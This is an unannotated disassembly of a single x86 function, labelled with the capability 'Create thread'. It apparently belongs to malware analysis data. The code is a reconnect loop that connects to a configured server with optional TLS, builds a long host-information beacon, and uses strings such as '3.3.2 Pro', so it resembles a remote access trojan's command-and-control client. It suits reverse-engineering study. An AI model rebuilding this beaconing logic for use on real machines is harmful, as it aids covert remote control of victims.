Function at 0x4122c9
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x984
lea ecx, [ebp - 0x60]
push ebx
push esi
push edi
call fcn.004020c7
lea ecx, [ebp - 0xfc]
call fcn.004179cc
lea ecx, [ebp - 0x594]
call fcn.004020c7
mov edi, 0x46e3a4
push 0x29
mov ecx, edi
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
push eax
call fcn.004374e4
pop ecx
test eax, eax
je 0x412320
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x4668d8
call fcn.00402076
push 0
mov ecx, edi
call fcn.00401e3b
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020de
lea ecx, [ebp - 0x48]
call fcn.00417e68
add esp, 0x30
xor ebx, ebx
call fcn.004049b4
push 0x3a
mov ecx, edi
call fcn.00401e3b
mov edx, 0x460734
mov ecx, eax
call fcn.0040eb23
test al, al
je 0x4123e0
push 0x3a
mov ecx, edi
call fcn.00401e3b
mov ecx, eax
call fcn.0040247b
push eax
push 0x3a
mov ecx, edi
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
push eax
push 0x39
mov ecx, edi
call fcn.00401e3b
mov ecx, eax
call fcn.0040247b
push eax
push 0x39
mov ecx, edi
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
push eax
push 0x38
mov ecx, edi
call fcn.00401e3b
mov ecx, eax
call fcn.0040247b
push 0x38
mov ecx, edi
mov esi, eax
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
mov edx, esi
mov ecx, eax
call fcn.0040483a
add esp, 0x10
sub esp, 0x18
mov byte [0x46e879], 1
mov ecx, esp
push 0x4668dc
call fcn.00402076
push ebx
lea ecx, [ebp - 0x48]
call fcn.00401e3b
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020de
lea ecx, [ebp - 0xc]
call fcn.00417e68
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.00401e3b
push eax
push 0x4668dc
push 0
lea ecx, [ebp - 0xc]
call fcn.00401e3b
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.004076df
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00402f85
pop ecx
push eax
mov ecx, 0x46e87c
call fcn.00401fc3
lea ecx, [ebp - 0x24]
call fcn.00401fb9
lea ecx, [ebp - 0x3c]
call fcn.00401fb9
push 2
lea ecx, [ebp - 0xc]
call fcn.00401e3b
mov edx, 0x460770
mov ecx, eax
call fcn.00405c1b
lea ecx, [ebp - 0x60]
test al, al
je 0x41248b
mov byte [0x46dad4], 0
push str.TLS_Off
jmp 0x412497
mov byte [0x46dad4], 1
push str.TLS_On
call fcn.00405bb7
sub esp, 0x18
lea eax, [ebp - 0x60]
mov esi, esp
lea ecx, [ebp - 0x3c]
mov edx, str.Connecting__
push 0x46e87c
push 0x4668f0
push eax
call fcn.00405416
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.004076bb
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f85
sub esp, 0x14
mov ecx, esp
push 0x460638
call fcn.00402076
call fcn.00417670
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401fb9
lea ecx, [ebp - 0x3c]
call fcn.00401fb9
push ecx
push ecx
push 1
lea ecx, [ebp - 0xc]
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
push 0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
mov edx, esi
mov ecx, eax
call fcn.00412295
test eax, eax
je 0x412574
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00418c47
sub esp, 0x18
mov edx, str.Connection_Error:
mov ecx, esp
push eax
call fcn.004053f2
sub esp, 0x14
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401fb9
mov esi, 0x46e848
jmp 0x412d77
mov esi, 0x46e848
mov ecx, esi
call fcn.00404943
test al, al
jne 0x4125af
sub esp, 0x18
mov ecx, esp
push str.Connection_Error:_Unable_to_create_socket
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
add esp, 0x30
jmp 0x412d77
push 0
push 0x3c
mov ecx, esi
call fcn.00405038
push ecx
mov ecx, esi
call fcn.004049de
test al, al
je 0x412d77
push 1
lea ecx, [ebp - 0xc]
call fcn.00401e3b
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push eax
push 0x4668dc
push 0
call fcn.00401e3b
push eax
lea eax, [ebp - 0x60]
mov edx, str.Connected___
push 0x4668f0
push eax
lea ecx, [ebp - 0xe4]
call fcn.00405416
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.004076bb
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.004076bb
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f85
sub esp, 0x14
mov ecx, esp
push 0x460638
call fcn.00402076
call fcn.00417670
add esp, 0x30
lea ecx, [ebp - 0x3c]
call fcn.00401fb9
lea ecx, [ebp - 0xb4]
call fcn.00401fb9
lea ecx, [ebp - 0xcc]
call fcn.00401fb9
lea ecx, [ebp - 0xe4]
call fcn.00401fb9
mov byte [ebp - 0x84], 0
lea edi, [ebp - 0x83]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004178ea
push edx
push eax
lea eax, [ebp - 0x84]
push str._I64u
push eax
call fcn.0041196d
add esp, 0x10
lea ecx, [ebp - 0x24]
push 0x46e410
call fcn.004074b3
push 0xa
lea eax, [ebp - 0x6c]
push eax
push dword [0x46c9c0]
call fcn.0043cda6
add esp, 0xc
mov ecx, 0x46e3a4
push 1
call fcn.00401e3b
push eax
lea ecx, [ebp - 0x9c]
call fcn.004020de
mov esi, 0x46e5f0
mov ecx, esi
call fcn.0040247b
push eax
mov ecx, esi
call fcn.00401f87
push eax
push 0x104
lea eax, [ebp - 0x980]
mov ecx, 0x46e5a8
push eax
push str.dmce
call fcn.00401f87
mov edx, eax
call fcn.00410a5f
add esp, 0x14
test al, al
je 0x41272c
lea eax, [ebp - 0x980]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00405bb7
mov eax, dword [0x46dd38]
xor edi, edi
test eax, eax
je 0x41273c
call eax
movzx edi, ax
push 0x46daf8
lea ecx, [ebp - 0x3c]
call fcn.00404260
sub esp, 0x18
lea eax, [ebp - 0xfc]
mov esi, esp
mov ecx, 0x46e250
mov edx, 0x46e590
push 0x46e650
push ecx
push eax
push ecx
lea ecx, [ebp - 0x57c]
call fcn.00417d8c
push eax
push 0x46e250
movzx edx, di
lea ecx, [ebp - 0x564]
call fcn.00417c16
push eax
mov edi, 0x46e250
lea ecx, [ebp - 0xc]
push edi
push 0x46e5d8
push edi
push 0
call fcn.00401e3b
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x54c]
call fcn.00417c16
push eax
push edi
call fcn.00417bc6
mov edx, eax
lea ecx, [ebp - 0x534]
call fcn.00417c16
push eax
movzx eax, byte [0x46c9c4]
lea ecx, [ebp - 0x51c]
push edi
push eax
push edi
call fcn.00417b8c
mov edx, eax
lea ecx, [ebp - 0x504]
call fcn.00417d8c
push eax
push edi
mov edx, 0x46e0d4
lea ecx, [ebp - 0x4ec]
call fcn.00417d8c
push eax
push edi
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x4d4]
call fcn.00417d8c
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x4bc]
call fcn.00417d8c
push eax
push edi
push str.3.3.2_Pro
push edi
lea eax, [ebp - 0x84]
mov edx, 0x46e978
push eax
push edi
lea ecx, [ebp - 0x4a4]
call fcn.00417d8c
push eax
push edi
push 0x46e638
push edi
lea ecx, [ebp - 0x48c]
call fcn.0040d22f
push eax
push edi
mov edx, 0x46e608
lea ecx, [ebp - 0x474]
call fcn.00417d8c
push eax
push edi
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x45c]
call fcn.00402fa9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.004076bb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.004076bb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00407723
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.004076bb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x114]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.00402f85
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f85
pop ecx
mov esi, 0x46e848
push 0x4b
mov ecx, esi
call fcn.00404bb7
lea ecx, [ebp - 0xe4]
call fcn.00401fb9
lea ecx, [ebp - 0xcc]
call fcn.00401fb9
lea ecx, [ebp - 0xb4]
call fcn.00401fb9
lea ecx, [ebp - 0x114]
call fcn.00401fb9
lea ecx, [ebp - 0x12c]
call fcn.00401fb9
lea ecx, [ebp - 0x144]
call fcn.00401fb9
lea ecx, [ebp - 0x15c]
call fcn.00401fb9
lea ecx, [ebp - 0x174]
call fcn.00401fb9
lea ecx, [ebp - 0x18c]
call fcn.00401fb9
lea ecx, [ebp - 0x1a4]
call fcn.00401fb9
lea ecx, [ebp - 0x1bc]
call fcn.00401fb9
lea ecx, [ebp - 0x1d4]
call fcn.00401fb9
lea ecx, [ebp - 0x1ec]
call fcn.00401fb9
lea ecx, [ebp - 0x204]
call fcn.00401fb9
lea ecx, [ebp - 0x21c]
call fcn.00401fb9
lea ecx, [ebp - 0x234]
call fcn.00401fb9
lea ecx, [ebp - 0x24c]
call fcn.00401fb9
lea ecx, [ebp - 0x264]
call fcn.00401fb9
lea ecx, [ebp - 0x27c]
call fcn.00401fb9
lea ecx, [ebp - 0x294]
call fcn.00401fb9
lea ecx, [ebp - 0x2ac]
call fcn.00401fb9
lea ecx, [ebp - 0x2c4]
call fcn.00401fb9
lea ecx, [ebp - 0x2dc]
call fcn.00401fb9
lea ecx, [ebp - 0x2f4]
call fcn.00401fb9
lea ecx, [ebp - 0x30c]
call fcn.00401fb9
lea ecx, [ebp - 0x324]
call fcn.00401fb9
lea ecx, [ebp - 0x33c]
call fcn.00401fb9
lea ecx, [ebp - 0x354]
call fcn.00401fb9
lea ecx, [ebp - 0x36c]
call fcn.00401fb9
lea ecx, [ebp - 0x384]
call fcn.00401fb9
lea ecx, [ebp - 0x39c]
call fcn.00401fb9
lea ecx, [ebp - 0x3b4]
call fcn.00401fb9
lea ecx, [ebp - 0x3cc]
call fcn.00401fb9
lea ecx, [ebp - 0x3e4]
call fcn.00401fb9
lea ecx, [ebp - 0x3fc]
call fcn.00401fb9
lea ecx, [ebp - 0x414]
call fcn.00401fb9
lea ecx, [ebp - 0x42c]
call fcn.00401fb9
lea ecx, [ebp - 0x444]
call fcn.00401fb9
lea ecx, [ebp - 0x45c]
call fcn.00401fb9
lea ecx, [ebp - 0x474]
call fcn.00401fb9
lea ecx, [ebp - 0x48c]
call fcn.00401fb9
lea ecx, [ebp - 0x4a4]
call fcn.00401fb9
lea ecx, [ebp - 0x4bc]
call fcn.00401fb9
lea ecx, [ebp - 0x4d4]
call fcn.00401fb9
lea ecx, [ebp - 0x4ec]
call fcn.00401fb9
lea ecx, [ebp - 0x504]
call fcn.00401fb9
lea ecx, [ebp - 0x51c]
call fcn.00401ee2
lea ecx, [ebp - 0x534]
call fcn.00401fb9
lea ecx, [ebp - 0x54c]
call fcn.00401fb9
lea ecx, [ebp - 0x564]
call fcn.00401fb9
lea ecx, [ebp - 0x57c]
call fcn.00401fb9
lea ecx, [ebp - 0x3c]
call fcn.00401ee2
push 1
push 0x412dbe
mov ecx, esi
call fcn.00404d05
mov eax, dword [0x46dd3c]
test eax, eax
je 0x412d06
cmp byte [0x46dd41], 0
je 0x412d06
call eax
mov byte [0x46dd41], 0
cmp byte [0x46e3fa], 0
je 0x412d19
mov ecx, 0x46e3b0
call fcn.00409535
call fcn.00405b7a
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x4606f0
call fcn.00402076
call fcn.00417670
add esp, 0x30
cmp byte [0x46de98], 0
je 0x412d5f
xor eax, eax
push eax
push eax
push eax
push fcn.00417043
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x9c]
call fcn.00401fb9
lea ecx, [ebp - 0x24]
call fcn.00401ee2
mov edi, 0x46e3a4
mov ecx, esi
call fcn.00404f18
lea ecx, [ebp - 0x48]
inc ebx
call fcn.004021e7
cmp ebx, eax
jb 0x412db1
push 2
mov ecx, edi
xor ebx, ebx
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
push eax
call fcn.004374e4
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc]
call fcn.00401e66
jmp 0x4123e0